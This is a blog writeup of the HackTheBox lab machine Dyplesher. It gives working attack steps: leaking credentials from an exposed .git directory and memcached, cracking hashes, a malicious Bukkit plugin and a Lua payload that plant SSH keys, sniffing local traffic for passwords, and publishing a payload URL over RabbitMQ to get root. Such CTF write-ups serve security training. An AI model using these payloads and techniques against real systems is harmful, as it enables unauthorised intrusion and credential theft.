Header Image

Roman Hergenreder

IT-Security Consultant / Penetration Tester

[machine avatar]

HackTheBox Dyplesher - Writeup

OS: Linux
Release Date: 2020/05/23 19:00
Points: 50
Difficulty: Hard
Last modified: 2022-08-20 22:24:46 + Give Respect

Owning Dyplesher was a long ride. Starting with the nmap scan we get a lot of open ports:
$ nmap -A 10.10.10.190 -T 5 -p-
22/tcp open ssh OpenSSH 8.0p1 Ubuntu 6build1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7e:ca:81:78:ec:27:8f:50:60:db:79:cf:97:f7:05:c0 (RSA)
| 256 e0:d7:c7:9f:f2:7f:64:0d:40:29:18:e1:a1:a0:37:5e (ECDSA)
|_ 256 9f:b2:4c:5c:de:44:09:14:ce:4f:57:62:0b:f9:71:81 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-git:
| 10.10.10.190:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
| Last commit message: first commit
| Remotes:
|_ http://localhost:3000/felamos/memcached.git
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
3000/tcp open http gogs
4369/tcp open epmd Erlang Port Mapper Daemon
| epmd-info:
| epmd_port: 4369
| nodes:
|_ rabbit: 25672
5672/tcp open amqp RabbitMQ 3.7.8 (0-9)
| amqp-info:
| capabilities:
| publisher_confirms: YES
| exchange_exchange_bindings: YES
| basic.nack: YES
| consumer_cancel_notify: YES
| connection.blocked: YES
| consumer_priorities: YES
| authentication_failure_close: YES
| per_consumer_qos: YES
| direct_reply_to: YES
| cluster_name: rabbit@dyplesher
| copyright: Copyright (C) 2007-2018 Pivotal Software, Inc.
| information: Licensed under the MPL. See http://www.rabbitmq.com/
| platform: Erlang/OTP 22.0.7
| product: RabbitMQ
| version: 3.7.8
| mechanisms: PLAIN AMQPLAIN
|_ locales: en_US
11211/tcp open memcache
25562/tcp open minecraft
25565/tcp open minecraft
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, LDAPSearchReq, LPDString, SIPOptions, SSLSessionReq, TLSSessionReq, afp, ms-sql-s, oracle-tns:
| '{"text":"Unsupported protocol version"}
| NotesRPC:
| q{"text":"Unsupported protocol version 0, please use one of these versions:
|_ 1.8.x, 1.9.x, 1.10.x, 1.11.x, 1.12.x"}
25672/tcp open unknown
We can see, that the following services are running on the machine: ssh, http, gogs, memcache, minecraft and rabbitmq. Beginning with the http port, we find a website showing a minecraft server status, titled Worst Minecraft Server and some irrelevant links. Important is the host, where the minecraft server is running on: test.dyplesher.htb we add it to our /etc/hosts file for later use. According to the nmap scan, there is a .git directory on the site, but accessing /.git/index results in an error 404. Enumerating the http server using gobuster, we find a login portal located on /login.
Next we will visist http://test.dyplesher.htb, it shows a website, which can communicate with the memcache service. Trying some basic injections doesn't seem to work, but on this site we find an open .git directory! Using git-dumper.py we can obtain the site's source code:
$ python git-dumper.py http://test.dyplesher.htb test.dyplesher.htb
[-] Testing http://test.dyplesher.htb/.git/HEAD [200]
[-] Testing http://test.dyplesher.htb/.git/ [403]
[-] Fetching common files
[-] Fetching http://test.dyplesher.htb/.git/description [200]
(...)
[-] Fetching objects
[-] Fetching http://test.dyplesher.htb/.git/objects/27/29b565f353181a03b2e2edb030a0e2b33d9af0 [200]
[-] Fetching http://test.dyplesher.htb/.git/objects/00/00000000000000000000000000000000000000 [404]
[-] Fetching http://test.dyplesher.htb/.git/objects/b1/fe9eddcdf073dc45bb406d47cde1704f222388 [200]
[-] Fetching http://test.dyplesher.htb/.git/objects/e6/9de29bb2d1d6434b8b29ae775ad8c2e48c5391 [200]
[-] Fetching http://test.dyplesher.htb/.git/objects/3f/91e452f3cbfa322a3fbd516c5643a6ebffc433 [200]
[-] Running git checkout .
The git repository contains an index.php and an empty README.md, the git history only has one initial commit. Inside the index.php we find credentials for the memcached service, we use this script and modify it a bit to dump the contents of the cache. Unfortunately, because the binary protocol is used (Memcached::OPT_BINARY_PROTOCOL), we cannot call $m->getAllKeys(), but we can try to guess some keys or bruteforce them using raft large words, and indeed, we get 3 important values:
$ php
<?php
$m = new Memcached();
$m->setOption(Memcached::OPT_BINARY_PROTOCOL, true);
$m->setSaslAuthData("felamos", "zxcvbnm");
$m->addServer('127.0.0.1', 11211);
echo $m->get('username');
// MinatoTW felamos yuntao
echo $m->get('email');
// MinatoTW@dyplesher.htb felamos@dyplesher.htb yuntao@dyplesher.htb
echo $m->get('password');
// $2a$10$5SAkMNF9fPNamlpWr.ikte0rHInGcU54tvazErpuwGPFePuI1DCJa
// $2y$12$c3SrJLybUEOYmpu1RVrJZuPyzE5sxGeM0ZChDhl8MlczVrxiA3pQK
// $2a$10$zXNCus.UXtiuJE5e6lsQGefnAH3zipl.FRNySz5C4RjitiwUoalS
Trying to crack those hashes, we could only recover one of three hashes, felamos's password:
[HackingScripts]$ ./crack-hash.py hashes
(...)
$2y$12$c3SrJLybUEOYmpu1RVrJZuPyzE5sxGeM0ZChDhl8MlczVrxiA3pQK:mommy1
We can use these credentials to log-in into gogs running on port 3000. On the first sight, we find nothing special, except the gitlab repo: it contains one release. Downloading and extracting it, we find a bunch of weird files:
$ wget http://10.10.10.190:3000/attachments/a1b0e8bb-5843-4d5a-aff4-c7ee283e95f2 -O repo.zip
$ unzip repo.zip -d gitlab_backup
$ find gitlab_backup -type f
gitlab_backup/repositories/@hashed/4b/22/4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a.bundle
gitlab_backup/repositories/@hashed/4e/07/4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce.bundle
gitlab_backup/repositories/@hashed/6b/86/6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b.bundle
gitlab_backup/repositories/@hashed/d4/73/d4735e3a265e16eee03f59718b9b5d03019c07d8b6c51f90da3a666eec13ab35.bundle
These files are Git Bundles and can be "unpacked" using git-clone + the bundle file. Three of these four repositories are also publicly available on github and the commit history looks the same. Looking at the 4th repository (4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce.bundle), we files which are probably used for the minecraft server, we found earlier. Looking through all those files, we find a sqlite db with another password hash:
$ sqlite3 ./plugins/LoginSecurity/users.db
SQLite version 3.32.2 2020-06-04 12:58:43
Enter ".help" for usage hints.
sqlite> .tables
users
sqlite> .schema users
CREATE TABLE users (unique_user_id VARCHAR(130) NOT NULL UNIQUE,password VARCHAR(300) NOT NULL,encryption INT,ip VARCHAR(130) NOT NULL);
sqlite> SELECT * FROM users;
18fb40a5c8d34f249bb8a689914fcac3|$2a$10$IRgHi7pBhb9K0QBQBOzOju0PyOZhBnK4yaWjeZYdeP6oyDvCo9vc6|7|/192.168.43.81
$ ./crack_hash.py hash
(...)
$2a$10$IRgHi7pBhb9K0QBQBOzOju0PyOZhBnK4yaWjeZYdeP6oyDvCo9vc6:alexis1
Afer trying different services and usernames, we find out, the password is working on the login portal we found earlier (http://10.10.10.190/login) with felamos@dyplesher.htb. We now got access to the minecraft server administration. The portal is quite simple, it includes a console and a plugin manager with upload and reload possiblities. Next we will need to craft a malicious plugins using the Bukkit Plugin Tutorial. Using the pom.xml as already given we create the following java class:
import org.bukkit.plugin.java.JavaPlugin;

import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.FileWriter;
import java.io.PrintWriter;
import java.util.logging.Level;

public class Blindhero extends JavaPlugin {
  
  @Override
  public void onEnable() {
    getLogger().info("Enabling Blindhero's super minecraft plugin...");
    writeFile("/home/user/MinatoTW/.ssh/authorized_keys", "<ssh public key>");
  }
  
  private void writeFile(String s, String content) {
    try {
      PrintWriter pw = new PrintWriter(new FileWriter(new File(s)));
      pw.println(content);
      pw.close();
    } catch (Exception ex) {
      getLogger().log(Level.SEVERE, "Could not write file", ex);
    }
  }
  
  @Override
  public void onDisable() {
    getLogger().info("Blindhero's super minecraft plugin has been disabled.");
  }
}
Now we can log in via ssh using our public key. As we still don't see the user flag, we will need some kind of horizontal privilege escalation to one of the other users. First thing we notice: we have special wireshark permissions, so we start to sniff on the local network:
$ ssh MinatoTW@10.10.10.190
Welcome to Ubuntu 19.10 (GNU/Linux 5.3.0-46-generic x86_64)
(...)
MinatoTW@dyplesher:~$ ls -l /home
drwx------ 9 felamos felamos 4096 May 20 13:23 felamos
drwx------ 5 git git 4096 Jun 16 19:23 git
drwxr-xr-x 10 MinatoTW MinatoTW 4096 May 20 13:41 MinatoTW
drwxr-xr-x 4 yuntao yuntao 4096 Jun 16 19:25 yuntao
MinatoTW@dyplesher:~$ groups
MinatoTW wireshark
MinatoTW@dyplesher:~$ tshark -i docker0 -i lo -w test.pcap
Capturing on 'docker0' and 'Loopback: lo'
After some time, we can stop the sniffing and download our file. Inspecting it with wireshark gives us a lot of various protocols. I will focus on the solution here: We could capture rabbitmq traffic containing credentials for the service itself plus alot of different credentials in plaintext. Also included: felamos' password, logging in via su we get the user flag.
[dyplesher wireshark]
MinatoTW@dyplesher:~$ su felamos
Password: tieb0graQueg
felamos@dyplesher:~$ cat user.txt
2786ba415ff8a6f158a89ecd538a2ceb

For the root part we found the following note in the user's home directory:
The keywords Exchange, Queue, publish are hints that RabbitMQ is involved. Running enumeration tools, we also find, that a command is periodically executed in root folder:
All we need to do now is setting up a http server, which will serve our crafted lua file, and a python script, which sends the URL to the rabbit mq channel. The credentials for rabbit MQ are also transmitted locally in plaintext, so we should already have them from the last user step.
Lua file:
local f=io.open("/root/.ssh/authorized_keys", "wb+");
f:write("ssh-rsa (...)");
io.close(f);
Because the machine has some kind of firewall, that blocks connections to outside, we need to establish an ssh tunnel:
$ ssh -N -R 80:127.0.0.1:3333 felamos@10.10.10.190
Python code:
import pika

credentials = pika.PlainCredentials("yuntao", 'EashAnicOc3Op')
parameters = pika.ConnectionParameters('10.10.10.190',5672,'/',credentials)
connection = pika.BlockingConnection(parameters)

channel = connection.channel()
res = channel.basic_publish(exchange='', routing_key='plugin_data', body='http://127.0.0.1:3333/test.lua')
connection.close()
After uploading the malicious file, we have root access via ssh and can grab the root.txt

This machine had several vulnerabilities, and we needed many techniques to own the machine. Starting with subdomain and web-content enumeration we found an insecure .git directory, where could leak credentials for memcache. Inside the memcache we could find more credentials for a git platform including backed up repositories, where we found even more credentials. We gained access to an admin dashboard, where we could upload and start a minecraft plugin. Using a crafted plugin, we had arbitrary write access and could upload our ssh public key. For the last step, we sniffed local packets, as we had the wireshark group, and found credentials for the other local users.